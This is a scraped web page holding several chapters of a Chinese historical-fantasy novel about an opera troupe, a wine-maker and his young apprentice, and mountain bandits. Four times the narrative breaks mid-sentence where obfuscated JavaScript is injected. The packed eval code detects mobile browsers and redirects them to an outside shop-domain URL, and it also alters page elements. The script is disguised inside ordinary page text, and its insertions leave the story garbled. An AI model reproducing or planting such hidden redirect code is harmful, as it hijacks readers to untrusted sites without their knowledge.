“你走吧,我放过你,也希望你不要为难戏班里的弟兄们,徐贵当初要是没背叛戏班的话,也不会落得那般下场,说到底,一切都是他咎由自取。” 沈佳期轻“哼”了一声,背过身去,打算离开。 话有多狠,心有多疼。徐贵死了,沈佳期痛心,毕竟那是他带了十几年的徒弟,师徒情深。 徐贵死的那天,沈佳期找他谈心,说了几句重话,以至于后来,沈佳期一直觉得是自己害死了徐贵,每每看到他的旧戏服,都涕泪涟涟。劳班主不忍心见他如此难过,下令不许在戏班出现类似的衣服,尤其是青色的。 徐贵走后,沈佳期从“沈师父”变成了“沈管事”,他把新来的弟子们分给劳班主一同教导,分给班里的老人们带着,对每个徒弟都是冷冷淡淡的,因为他害怕,会出现下一个“徐贵”。 “沈佳期,收起你假惺惺的嘴脸,我不需要你的同情,我告诉你,这次我既然出来了,就没想过再回去。” 说话间,红柳已经拔出了腰间的匕首,她睫毛轻颤着,手中的利刃又上移了几分。 “姐姐!”一声稚嫩的童音不合时宜地响起,吓得红柳手中的匕首差点滑落,她只是来了结和沈佳期的个人恩怨,没想到会有第三个人在。 她装鬼,可她毕竟是个弱女子,也怕鬼。 “又是你!这个烦人的小鬼,怎么哪里都有你!”这个陌生人让红柳方寸尽失,下一秒,红柳将匕首对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不要你做牛做马,我希望你能替徐贵好好地活下去,去做自己想做的事,完成他未了的心愿。”沈佳期扶起红柳,目光刚对上她的,立马别过脸去。 那妆容,和昔日在台上的徐贵,有六七分相似。 沈佳期透过她又想起徐贵的死,想起他和徐贵同台对唱时的情景,不由得心上一酸。 可惜那样的风华绝代,再没有别人和他一起演绎了。 “那件青衣……怎么办?我怕它会害到更多的人。”缓过神来的红柳突然意识到。 “花儿,你去把它拿回来。”他的这个徒弟古灵精怪,沈佳期相信花伶会有办法。 第二天天刚亮,花伶和红柳就在衙门跟前守着。过了好久,才有人缓缓打开大门,探出脑袋来问她们俩:“来者何人?所为何事?” 花伶赶紧凑上去:“大人大人,你知道郝大人为什么会死吗?” 那官差听闻此言,脸都绿了,如临大敌:“为什么?” “因为那件衣服里住着一个鬼哦,徐贵的鬼魂,不信你问这个姐姐,她是徐贵的妻子。” “班里最近一直不宁,沈管事请了位道法高深的大师,大师说,我家夫君还未离去,还魂进那件戏服,可不是嘛,我最近还总是梦到他。”红柳很配合地点了点头,还装作一脸惊吓。 两人绘声绘色地描述自己是怎么看到了那个鬼魂,又目睹到鬼魂害人的全部过程。 那个官差脸被吓得煞白:“那……那要怎么办?” “那位大师跟我们掐指一算,说是只有跟徐贵有关系的人,才能免受邪气侵体,还嘱咐说要烧掉那件衣服,免得祸害到更多的人呢。”花伶见他信了,继续胡诌道。 那个官差一听,巴不得他们快点把那件衣服拿走,赶紧领着花伶和红柳去了资料库房。 没出衙门几步,裹着布袋的衣服就被俩人丢进了火堆里。 “其实,姐姐很爱徐贵的吧。”花伶拿着一个小棍子,戳着衣服,让火苗将空余的地方舔尽。 青衣迅速地被火龙吞噬,散发出一道黑烟。 红柳被烟呛得难受,捂着鼻子,转过身去:“你一个小屁孩,知道什么是情什么是爱吗?” “我知道啊,戏折里面很多都有写啊。” 戏折里的爱,能坚毅到移山海撼天地,能比海枯石烂还久远,永远不死不灭,也仅此而已。 红柳的释怀,让闹鬼一事落定。柳源戏班又回到了往日的安宁,甚至有几个胆大好事的富贾人家,特地邀请他们去演出,想看看到底有没有所谓的鬼魂,结果大失所望。 柳源戏班因此却又添了几分名声。 红柳心怀愧疚,主动留在了戏班里,帮何婶打打杂。有次替花伶梳着小辫,红柳打趣她:“小丫头,你心中的良人是什么样子的呀?” 花伶一边啃着手手,一边摇摇头:“不能是像沈师父那样的,太凶了……” 恰巧路过的沈佳期一听这话,顿时黑了脸:“伶儿,等下的侧空翻,再加两百个。” “好嘛。”花伶揪着刚扎好的小辫子,极不情愿地嘟着嘴,应声道。 这便是柳源戏班的一天,严格且充实,有时候沈佳期想,或许游戏浮生也未尝不可。 劳班主走后,戏班里也没了带领人,大家举荐沈佳期上位,沈佳期只是摇了摇头,敲着手中的折扇,嘴里絮絮念着“立身莫被浮名累”,把劳班主手头的班务都分散给了大伙儿。 11. 酒尽桃花凉5 酒是陈年好,越浓香醇厚的酒,必定是经历过越长时间的洗礼。慕卿相信,他的小花雕,就是那一坛子初酿的新酒,纯净、质朴,在时间的发酵下,终能绽放属于她自己的别样光辉。 会陪她走多久呢?慕卿无从得知,思忖着,与其想那些有的没的,不如过一天是一天吧。 从前,他一个人,倒也随性自然、无所畏惧,而现在,一天天地数着时间,慕卿眉头间的阴云越来越重。 那个日子又要来了…… 怎么办?那个小丫头还什么都不知道,吓到她怎么办? 他也不想告诉她,毕竟又不是什么光彩的事情,而且花雕整个人懵懵懂懂,也许根本没办法理解的吧。 她还太小,像一块未经雕琢的原玉,自然质朴,什么都不懂,在她该有的年纪,该做着她开心的事,她不该背负下他的过往。 又有那么一瞬,慕卿后悔当初领走小花。现在看来,与其说是小花给他添了麻烦,不如说自己成为了她的累赘。 可是,该来的事情终究还是来了。 又是月半,慕卿本来正在酒坊查看谷物的发酵情况,胸口一阵疼闷席卷而来,心里暗叫不妙。 像是千斤大石压着胸口,又有成千上万的小石头不断地撞击着身体的各处,慕卿扶着酒坛,喘得上气不接下气,难受至极。 糟糕,又要发作了?不行,得先告诉那个丫头,万一误伤了她…… 他强忍着疼痛,用酒窖里的矮墙支撑起自己的身体,一路摸索着找到花雕,强装镇定,背对着她:“今天晚上,你换个地方睡,别来我房间,饭菜在锅里,自己温一下,知道吗?” 此时,小花雕正在屋子外的某处空地玩着泥巴,手上、脸上、鼻子上都是灰灰的一片。 小花雕什么都意识不到,更看不到慕卿额头上溢出的细密的汗珠。她以为这就是跟平常的“好好吃饭”“早点睡觉”“好好跟着我学”一样的句子,丝毫没嗅出任何危险的气息。 只是应了一句“好”,捏着泥人,小花雕很快就把慕卿的话抛在了脑后。 天空渐渐灰暗,花雕玩得累了,肚子也饿得咕咕直叫。奇怪,磨精今天怎么了,为什么没有喊她吃饭? 摸索着来到了慕卿的房间门口,窗柩上印出恍恍惚惚的人影,看来这个人他在屋子里。 敲门,却无人应答。 花雕推开门,打开一条小小的缝隙,整个人挤了进去。 看到瘫坐在地上的慕卿,花雕本想去看看他在干嘛,对方却突然站了起来。 仿佛用尽毕生的所有力气般,慕卿一脚把花雕踹出了房门,然后用最后几分残存的理智,关上了门,整个人靠在门背上,确认花雕不会再闯进来以后,手脚并用地往桌椅旁边爬去。 小花雕疼得泪汪汪的,挣扎了半天才从地上爬起来,用小手捂着屁屁,完全不知道发生了什么。 觉得刚才屋子里面的那个人,有点像师父,又有点不像。 像的是,那身艳而不俗的粉色,那身久久不散的胭脂香味,除了慕卿,还能有谁? 不像的是,那人的脾气,突然变得暴虐凶残,那不是他认识的温柔又宠她的师父。 蓦地想起来慕卿下午的叮嘱,师父肯定在里面筹划一些不为人知的秘密,于是踮着脚,在窗纸上抠开一个小洞洞,好奇地往屋里瞅着。 “啪嗒”一声,烛火滚落在地上,屋内顿时一片漆黑,只是传来了慕卿的低吼:“滚,走开。” 好嘛,师父不想告诉我就算了,干嘛这么凶呀,小花雕不再自讨无趣,去了隔壁厢房,窝在被子里安静地躺着。 夜很黑,有很多虫子发出各种各样的奇怪声音,隔壁的屋子里传来噼里啪啦有东西摔碎的声音,花雕怕极了,用被子蒙住脑袋,死死地闭上眼睛,却迟迟未睡去,直到天边露出浅浅的鱼肚白,才被困意肆掠。 第二天,慕卿起得很早,收拾了昨晚的满地狼藉,又在隔壁找到熟睡的小花雕,这才松了一口气。依旧像往常一样,做好了饭菜,等着睡到日上三竿的花雕起来吃,只是两人之间的气氛变得很怪。 “狮虎,你昨天晚上怎么了,为什么要凶小花?” 咳咳,发生了什么事当然不能告诉这个小鬼,慕卿并不答她,只是装模作样地摸了摸她的额头:“怎么了,做噩梦了吗?” 花雕并不开心,她只是小,又不是傻,哪有那么好糊弄。她知道昨天发生的一切都不是梦,可是她有些难过,师父有事情瞒着她。 反观慕卿,像个没事人一样,云淡风轻地吃着碗里的青菜,又给花雕夹了一筷子,再添了几筷子瘦肉,把她的碗里摞成一个高高的小山丘。 嗯,这是午饭,是该多吃点。 “师父你是不是病了,是不是哪里不舒服,你昨天为什么要打小花?师父,要是打小花能让你不那么难受,你就多打几下子吧。”花雕抬头,满脸都是委屈巴巴,却又是一副愿打愿挨的模样。 面对小花雕一连串的疑问,慕卿手中的筷子顿了顿,似是想解释什么,出口的却是:“你还疼吗?” 疼,但是花雕不说,只是懂事地摇了摇头,她知道,师父有事瞒着自己,她也不想让师父太难过。 “对不起,都怪我不好。”慕卿拨了拨自己碗里的米粒,犹豫着到底该不该把事实告诉她。 该怎么说呢,她这么小,还什么都不懂。 “唉”地长叹了口气,慕卿最后只是说了句“吃饭吧”,然后又给花雕添了一筷子菜。 又是围绕着酒坛子打转转的一天,看似波澜不惊。入夜渐深,花雕却被身边的人惊醒。 本来花雕一个人去隔壁厢房睡就很怕,慕卿也拒绝跟她同榻而眠,索性支了张小床,两人睡在了同一个屋子里。 他睡得很不安分,带着似有似无的梦呓。 “翎儿……” “空山谷……” “快走……” 花雕在暗夜之中摸了摸他的头,摸了一手汗,拿了条面巾,打湿,给他捂着降温,过一段时间又给他换了条冷的。 以前她发烧的时候,娘亲也是这么给她降温的。 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕卿在一次渡湄河时邂逅了他。这个老头,因为遇见的人多了,听闻的各种稀奇古怪的事儿也多了去了。流转在耿安国各地,好巧不巧,慕卿每每来湄河都是他帮忙,一来二去,两人聊得比较投机,便奉为知己,他是为数不多知道慕卿秘密的人之一。 送走他的小丫头之前,慕卿还特地去给她做了几十套稍大一码的新衣裳,是根据上次量的码子比对的,也没太跟小丫头声张。 花雕收到这些各式各样的短褐襦袄时有些难以置信,随手拿起来一件在自己身上比划了一下,有点大了,以为这些是慕卿给她自己定做的衣服,又瞅了瞅慕卿的身形:“姐姐,你新定做的衣服是不是小了?” “没啊,这些是给你的,你要记得啊,师父以后不在你身边的日子,要乖乖的……” 虽说是无亲无故的,相处了这么长时间,慕卿还是有点舍不得,这一别,不知是多久,慕卿未雨绸缪,把未来两年的衣服先都给她做好了。 花雕不解地眨了眨眼睛,问道:“为什么师父会不在花儿身边呢?” 12. 酒尽桃花凉6 将小花雕的行李打好包,慕卿快马加鞭地赶到了河叟家,他明白,把花雕留在身边每多一天,自己心中的不舍就会增加几分,留得越久,到时候想走可就越难了。 湄河水光潋滟,河岸芦芽满地,江花似火。一只木舟正停靠在渡口,随着河水起起伏伏,一群鸭子正“嘎嘎嘎嘎”地在河岸边散步,花雕见状,欢喜地追了上去,嘴里不断地念着:“鸭、鸭、鸭鸭……” 像拎着只小鸭崽般把她拎回自己身边,慕卿打心底里大大地白了她一眼,想到上次两人扫到精光的酱板鸭,这个臭丫头,怕不是又馋了? 许是收到慕卿目光中的警示,花雕不再追赶面前的鸭子,而是乖巧地跟在慕卿身后,继续往前走着。 河叟的屋子就在渡口不远处,一来方便送赶路人过河,二来方便自己来回。 慕卿一袭逶迤长裙,大步流星地走着,花雕跟在他身后,一路小跑。 河叟躺在躺椅上,正沐浴着春日的暖阳,闻见了脚步声,依旧纹丝不动,倒是慕卿,整个人咋咋呼呼的。 “老头儿,死了没?没死的话赶紧吱个声儿。” 闻声,河叟依旧岿如泰山,倒是花雕,躲在慕卿身后,扯着他的长裙,露出一只眼睛,偷偷去看躺椅上的那个老头。 浑身脏兮兮的,还散发着淤泥的腥气,花雕觉得,面前的这个老头,有点像湄河里的水鬼? 花雕下意识往慕卿身后缩了缩。 见河叟扔不搭理他,慕卿索性拉着身边的小花:“小孩,走,我们拆家去。” “磨精,拆家是什么,好吃的吗?” 花雕吃着手手,一脸纯真无瑕,问道。 河叟一听这话,再也坐不住了,立马一个骨碌,从躺椅上爬了起来,随即颇有意味地打量了花雕片刻。 “慕小子,我说你怎么这么久都没有来看我这个老家伙呢,原来是有了一个小娃娃呀。” 见河叟爬起来了,花雕很乖巧地跟他打招呼:“爷爷好,我是狮虎的小花雕。” “花雕,花凋,这名字不好,不好。”河叟听了,随即摇了摇头,否定道。 “嫌我起的名字不好,要不你来起个?看看我们家小花喜不喜欢,然后再考虑要不要换,哈哈哈哈。” 慕卿倒也不觉得尴尬,打趣道。 “两个人,渡河?” 河叟以为慕卿是像往常一样来渡河的,起身欲去收拾家当,却被慕卿一把拦住,尔后慕卿在他耳边轻轻地嘀咕了几句。 河叟听后,面露难色,随即用一种复杂的眼神望向小花雕。小花雕仿佛是会意到什么一样,突然一把抱住慕卿的大腿:“狮虎你是不是不要花雕了,像娘亲一样,然后又把花雕送给别人?” 慕卿:“……” 这小丫头平时一副呆呆傻傻的模样,现在怎么智商突然上线了呢。 慕卿摸了摸她的小脑袋,安慰她:“放心,我会常来看你的。” 花雕什么也没说,只是揪着他的衣角,不放开。 慕卿未再说只言片语,只是挪下她的小爪子,又摸了摸她的头。 他也舍不得啊。 他从来都是一个人,潇洒自由,直到花雕的出现。这个女孩,成为他生命中唯一的慰藉,让他寥寥的余生,多了希望,不再是一个人,平添了牵挂。 羁绊真可怕。 花雕坐在院里的一方冰凉的巨石上,看着慕卿越走越远,从最开始的小声啜泣,到后来,变成了嚎啕大哭。 他听不见听不见,什么都听不见,慕卿捂住耳朵,大步跑开。 可无论跑多远,老有哭声,像锥子一样,一下一下地戳着他的心。 “坏蛋!坏蛋!”花雕一边哭着骂着,还一把揪过石缝里长出的碧草,赌气似的摔在地上。 她以为慕卿会像以往一样妥协,可这次他并没有,只是在花雕的视野里,逐渐缩成了一个小小的白点。 小孩子精力有限,哭得累了,花雕就靠着巨石睡着了。 就连梦中呓语也念念不忘:“磨精,磨精,磨精你为什么不要花雕了?” 河叟看她闹够了,罢了摇了摇头,心中唏嘘道,不是不要,是不能,毕竟,他是从空山谷出来的人。 白天,河叟摆渡,将岸上来来往往的人送去送回,花雕呆在船艄,趴着身子,伸出手去捞水里的游鱼。 夕阳西下,一天的忙碌结束,花雕眼见着白天智叟送了很多人回家,非要他送自己回慕卿那去,河叟不答应,小花雕当然不饶人,坐在船艄上,“哇”地一下哭了起来。 “别哭!再哭,给你丢湄河里喂鱼!”河叟呵斥道。 小花雕一听这话,哭得更凶了,哭声游荡在两座山峰之间,显得凄厉和惨绝人寰。 不仅如此,花雕还变本加厉地一把抱住河叟的竹竿,死死不松手,阻止他继续前行。河叟被她哭得心烦意乱,借力打力,一竹竿把她丢到了水中。 也是那一瞬间,花雕明白了,原来不是所有人,都待她如慕卿一般好,会容忍她百般胡闹。 花雕被呛了好大一口水,再也哭不出来,她不会水,只是如同救命稻草一般死死地抓住水里的竹竿,眼神干巴巴地瞅着河叟,一副可怜兮兮的模样。 会意到了她求助的小眼神,河叟看她不闹了,给她拎了上来,迅速靠岸擦干,给她生了一堆篝火。 望着她安静烤火的模样,河叟没有再说什么,只是无可奈何地摇了摇头,唉,这孩子是慕卿的心头肉,要是慕卿知道了他这样对她,指不定又要把他的小屋子翻个底朝天。 没过多久,花雕病了,是心病。 起初看她一言不发,只是望着窗外发呆,河叟以为花雕是碰到冷水着了凉,摸了摸她的脑袋,不烧,也没太放在心上去。 好家伙,这个小鬼到后来连饭也不吃。 “小娃娃你这样可不好,要是瘦了,慕卿肯定又要责怪老头子我了,说我没有照看好你。” 河叟盛了满满的一碗菜,放到花雕面前。 花雕不仅不吃,还开始耍起小性子来,一把摔了面前的碗,“叮当”一声,清脆的瓷器声回荡在空气里,地上有散落一地的碎片和饭菜。 “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598154|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哟,我的小祖宗。” 河叟哀嚎了一声,赶紧扯过花雕,看看她有没有伤着哪里。他倒不是舍不得钱,大不了可以找慕卿报销嘛,只是害怕小花雕伤了自己,不好向慕卿交代。 花雕更是得寸进尺,蹦到他面前,扯着他花白的胡子,疼得河叟龇牙咧嘴:“你你你!慕卿不在,还没人能治得住你这个小娃娃了是不是?” 气得吹胡子瞪眼睛,河叟也没好好吃饭,干脆在院子的躺椅上晒起了太阳。 三月的暖阳暖暖的,日光不骄不躁地打在人脸上,清风徐徐,没人过河的时候,恰好是河叟最清闲的时候。 河叟气在心上,睨见花雕在院子里拔草,打算吓吓她,索性躺在躺椅上,继续装着尸体。 等了好久,花雕却并不搭理他,躺椅上的人沉沉睡了过去,直到日落,一双小爪子推醒了他,声音里满满都是急切:“爷爷,你怎么了爷爷?” 河叟从昏沉沉中醒来,扶了扶额:“小丫头片子算你还有点良心,知道管我这个老头子的死活。” 可下一秒,花雕小脸一抬,满满都是斑驳的泪痕:“爷爷,我想回家,我想他了。” “那,我们明天回去看看他?” 河叟万万没想到,面前这个屁点大的小鬼丫头居然会有这么深的执念,心中一阵欣慰,终究是服软了。 “真的吗?”泪光晶莹,花雕眼里闪着日月星辰。 “不骗你。” 细数来,花丫头已经在自己这里近一周了,这一周,慕卿又在干嘛呢?肯定私底下偷偷想过这个小鬼无数回了吧…… 第二天一早,河叟带着花雕回家。 慕卿套了马,正欲离开,看到不远处一高一矮两个身影,心里咯噔一下,随即被无法言状的欢愉填满。 是她。 她回来了。 他本来想去下个藏酒的地方的,很长一段时间都不会回来,刚巧要出门,这一幕被花雕撞个正着。 “磨精你要去哪里,为什么又不要你的小花了,说好了会回去看你的小花呢,现在是要去哪里?” 不行,她不能放他走,这个人要跑路! 蓦地死死抱住马腿,整个人挂了上去。 那马是伴随慕卿多年的良驹,能日行千里,性子温顺,见到眼前突然趴上去的小女孩,庞大的身躯一震,随即不可思议地望着她。 还好,慕卿虚惊了一场,没惊着马,没伤了小花,随即把小花从马腿上扯了下来。 “我不管我不管,磨精去哪里,要带上小花。” “好吧。” 慕卿望向河叟,目光中有幽幽的埋怨。 河叟老脸沧桑一笑:“管不了咯,管不了咯,家要被这小娃娃拆了。” “骑马马,骑马马,驾!”花雕被慕卿抱上马背,整个人跟突然活了一般,生龙活虎的。 “老头,后会有期。” 小花雕兴奋地抓着马鬃,完全忽视掉一旁满脸羡慕的河叟。 “年轻真好呀。”二人绝尘而去,河叟望着他们在视野里缩成小小的一团,感慨道。 13. 戏子入画满临初6 柳源戏班又接了个大活,雇主是玉霄国某位高官。 据说这个官员代表玉霄国来探访耿安国,共商两国边境贸易大事。 因为商谈很融洽,玉霄使者心情甚好,于是在回国前去耿安内溜达了大半晌,想考察下耿安的风土人文,恰好遇到柳源戏班在外面演出。戏已开场,勾栏里被围得水泄不通,大使大人他愣是直着眼,围在勾栏外看完整场。 这位大使本来就是个戏曲爱好者,对柳源戏班众人的演出大为赞扬,说什么也要邀请戏班去玉霄国。因为不久后有个隆重的庆典,要给玉霄国太子捧个大场子。 自戏曲普及开始,就在玉霄国内受到不同阶层人们的普遍喜爱,上至天子,下至黎民百姓,老幼皆知,妇孺皆晓,路上逢人便可以听他哼上几句。好巧不巧,玉霄国现任太子也是个戏痴。 被告知表演预计在七月中旬,柳源戏班的众人刚得到消息,便开始着手准备他们的南下之行。 大使早早地带着铁骑护卫回国复命去了,沈佳期一行人不急不忙地收拾好东西,没过多久也踏上行程。 正是大暑,全年中最热的时候。 艳阳高悬,日光似刀,土地因为长时间烘烤而变得滚烫,加之密林和山峦把他们围得不透风,人走在其间,转眼间滴汗成河。 沈佳期把花伶、何婶还有叶童舟安排在同辆马车里,自己给他们赶着车。尽管花伶只有五六岁,才刚熟悉戏班的环境,不会去登台献唱,但跟着见见世面,也是好的。 “师父我们又要去哪里呀?” “去玉霄国。”花伶好学爱问,全程问题冒个不停,沈佳期倒是好耐心,逐字逐句给她解答。 “玉霄?” 沈佳期将目前各国的局势逐一说与她听,耿安、玉霄、花迟、日辄、炎灸、暮晚,除去现在这六大国,其他都是不值一提的小国,小到甚至可能朝存夕亡。 耿安是个夹杂在玉霄、花迟、日辄三大国之间的要塞之地,向西向北是花迟,东为日辄,南毗玉霄。六国之中,以玉霄国势力最为强大,耿安国虽然地域面积不及其他五国,但矿产丰富,又居路陆、水陆要塞,这让其他大国不得不礼让几分。 “哦。”尽管花伶听得云里雾里,上眼皮跟下眼皮打起架来,但还是配合地吱着声,以表示沈佳期说话她有在听。 好困,更难受的是令人窒息的酷暑,花伶脸上淌着的汗凝成水柱,顺着被热得通红的脸蛋往下淌着,两侧头发丝不配合地像牛皮糖般黏在脸上,让她觉得很不舒服。 没多久,马车上粉雕玉琢的小人儿已经挽起袖子,两只嫩藕似的小腿晃在半空中,最终无奈地看向身旁人,撒娇地挽着他的胳膊:“童童哥哥,阿伶好热。” 叶童舟不知道从哪里摸出来把巴掌大小的团扇,在花伶耳边不徐不急一下下摇曳着。 力道适中,丝丝凉意袭来,花伶最后满足地枕着叶童舟沉入梦乡。 马车持续走了半个月,半个月里也未见着乌云星子,每天都像是呆在蒸笼里。可喜的是,这段路快要走到尽头,只要再翻过铁岭山,便可以到达玉霄国。 可铁岭山高处地势险峻,马车载人行路比较困难,随时都有翻车的危险。柳源戏班众人就牵着马、列着队,整齐有序地翻山越岭。 “师父我好累啊,我不想再走了。” 毕竟是女孩子,年纪又小,花伶气力也少,没走两步路,就拉着沈佳期,撒起娇来。 “来,我背你。”闻言,叶童舟顺势蹲在一个低洼的碎石坑里,双手朝后背挥了挥,花伶很自然地爬了上去。 知道花伶喜欢狗尾巴草,怕她无聊,叶童舟立马摘了把递给她。 花伶拨弄着狗尾巴草,细碎的草屑直往下掉,挠得叶童舟后脖颈痒痒的,但他也没吭声。 看着相处融洽的两小只,沈佳期突然想到花伶刚来戏班的那段日子,两个人每次见面就像是冤家聚头,哪有现在这么和谐,不由得嘴角上扬。 突然,花伶回头,认真地看着沈佳期,那模样,似乎是在极力寻求着答案。 那个坚毅又渴望的眼神看得沈佳期迅速收敛起嘴角的笑意。 “师父,有一天我们会停下脚步,不再到处走了吗?”从花伶入戏班开始,大家就总是在换地方,从来没有固定下来,这让她很不适应。毕竟,没有人会喜欢颠沛流离。 “可以呀,等未来某天,我们同时有了声和势。我们现在只有‘声’,等我们哪天同时有了‘势’,就可以停下脚步,拥有真正属于我们的栖息之地,四面八方的人们便会闻声而来,而不是我们四海为家。” 声是声音,是能唱好每出戏的唱功;势是权力,即手握重拳。 屁大点娃娃,哪里懂得沈佳期话中的含义,但花伶一听来日可以免于流离,又开心地继续把玩她手中的狗尾巴草。 没人注意到,不远处,有个小小的身影已经将目光瞄准他们。 “此山是我开,此树是我栽。要问我是谁?悍匪白无垢。”白无垢扛着把锈迹斑斑的斧子,说了段自认为很炫酷实则土到掉渣的开场白,拦住最前面那个牵马车的人。 见队伍不动了,马车后面的人立刻向不远处的沈佳期报告:“沈管事,前面有个娃娃挡住了我们的去处。” 听闻又有小娃娃,沈佳期眼睛都亮了,眼下戏班正是发展壮大的时候,怕是又有好苗子自己送上门来了,遂大步往队伍最前面走去。 那孩子个子单薄,皮肤黝黑,脸上的稚气还未脱去。他腰上随意地系了条红绳,红绳下缀着枚螭龙白玉璧。那玉璧浑体通透,不含半点杂质,在阳光照耀下闪着纯净的光泽,想必是价值连城。拿着黄金千两出来打劫,沈佳期被眼前人逗乐了,转而走向叶童舟,满脸神秘地逗问他背上的花伶。 “小花伶,想要个师弟吗?” 花伶立马会意,沈佳期的意思是把这个小哥哥也拐到戏班里面来?她眸子骨碌一转,立马有了主意:“让红柳姐姐去给他下毒?” 沈佳期被她逗乐了,开玩笑,柳源戏班里都是五大三粗铁骨铮铮的爷们,怎么会怕个小毛孩? —— 两个小时前。 霜满天赤着胳膊,翘着二郎腿,斜卧在方竹塌上,手中还摇着把蒲扇,哪里有半点平日里风流倜傥大当家的模样。 身旁立着个彪形大汉:“老大,我要跟你说说这白无垢,真的是一点正事都不干,手不能提肩不能扛的,关键吃得还贼多,白白耗了咱们粮食。要不咱们找个机会把他送下山吧?” 说话的壮汉是赵亮,回风寨二当家,是个大字不识几个的粗人,但此人在带兵打仗方面颇具天赋,早些年他曾是霜满天的副将,二人共同驰骋沙场,立下不少战功。 “咱们回风寨缺这点儿粮食?”霜满天面上不悦,心中亦是。 这回风寨谁走都可以,白无垢这小子不准走!再说了,无垢正是长身体的年纪,多吃点怎么啦!!! “主要是白无垢这小子啥都不会啊,还成事不足败事有余。你说我们上回打劫,是不是就让他给搅黄了?几千两银子啊,说没就没。”赵亮摆着副深受其害的模样,看得霜满天心里都烦。 此时白无垢就在屋子外面偷听,又听到二当家一副恨铁不成钢气得牙痒痒的语气,下定决心要搞点事情出来。 于是乎,在众目睽睽下,他挽着袖子下了山,大伙也只当他是小孩心性贪玩外出,并未阻拦。 本来就是燥热的季节,霜满天仅有的耐心被他的碎碎念磨得所剩无几:“这回风寨是你当家还是我当家?成天就知道瞎嚷嚷,给老子滚边儿凉快去!” 看着自家老大这么维护个小屁孩,赵亮觉得有些委屈。在军营时,他和霜满天可是穿过同套盔甲的战友,是一起在刀尖舔过血的兄弟;落草后,他和霜满天同甘共苦经营回风寨七八年,劫过贪官,打击过别的帮派土匪,救济过难民,没有功劳也有苦劳。 可如今,就为了这么个小破孩,霜满天居然冲他发火,两人的情谊竟然比不上个毛头小子,这可真气人。 “你不懂,这叫策略。白老头子精明着呢,面上装作毫不在乎,好让我们放松警惕,觉得我们拿错了筹码,再主动把白无垢给他还回去,完璧归赵。那我们不是白忙活?你放心,只要白无垢在回风寨,白老头就不会不管,我们只需按兵不动,看他还有什么诡计,见招拆招。” 长渝一战后,霜满天所带的部队落草回风寨,不愿回朝,目的就是让白家家主彻查长渝之战的真相,还所有将士一个公道。 而白无垢,据说是某位死去的将士遗孤。昔日这名将士救主有功,其子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598155|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐国姓“白”,取名“无垢”。后来这位将士战死在长渝之战中,白无垢就和众多长渝之战的将士遗孤一样,被霜满天收养在回风寨。 因回风寨匪寇大多都原是军队将士,又有霜满天的带领,故而作风良好,训练有素,从不干打家劫舍、烧杀抢掠的勾当,只劫富济贫。又因战地多条件艰苦,将士们养成了能吃苦耐劳的性格,对物质要求也没那么高,所以这些人在回风寨日子过得也不错。 再者铁岭山占尽天险,易守难攻,饥荒年间回风寨还救济过不少灾民,也算是帮朝廷解了忧,功不可没。一来二去,虽有些官宦地主人家被劫了钱财报了官,耿安、玉霄两国对他们也是睁只眼闭只眼,剿匪也只是做做样子。 赵亮是个直肠子,听不懂心计里的那些花花门道,但听霜满天分析,好像说得是那么回事,也就没太细究。 “老大,不好啦,白无垢那小子今天下山去,整天都没回来。”在明月高悬的时候,赵亮的大嗓门不适宜地出现在蝉鸣和蛐蛐声中。 “这不是挺好吗?白天你还嫌他费粮食费钱呢。”霜满天仿佛说着件无关紧要的事,面上淡定从容,未见半丝慌乱。 “可是大哥你不是说,白无垢是白老头子在意的人吗?现在他跑了,我们该怎么办?他要是跑到白老头子那里点我们,这不是肉包子打狗吗?”赵亮倒是急得满头大汗。 回白老头子那里?那倒是不至于,宫里现在乱着呢,白老头子赶白无垢走都来不及,怎么会留他在宫中呢?更何况这小子根本不知道自己什么身份。 “放心,不出个把月,无垢那小子会自己回来的。”霜满天轻拍他的肩,安慰道。 先前有人来报,下午有个戏班子路过铁岭山,兄弟们还问他劫不劫,霜满天当时眉头微皱,几个破穷酸唱戏的能有多少钱,就没理他们,放柳源戏班离去了。 他霜满天要劫的人,是那种欺行霸市之人,是那种大奸大恶之辈,是那种一毛不拔之徒。换句话说,他们劫的,不是钱财,是正义。 八成白无垢是瞧着好玩,跟这帮人下山去了,能有什么危险?这让霜满天倒是放宽心。 —— 这边,白无垢躲在树荫里,翘着二郎腿,盘算着他的抢劫大计。在黄昏时刻,太阳将人影子拉得老长的时候,终于看到柳源戏班经过的几辆马车。 于是便出现白无垢在山上拦住柳源戏班的这幕。 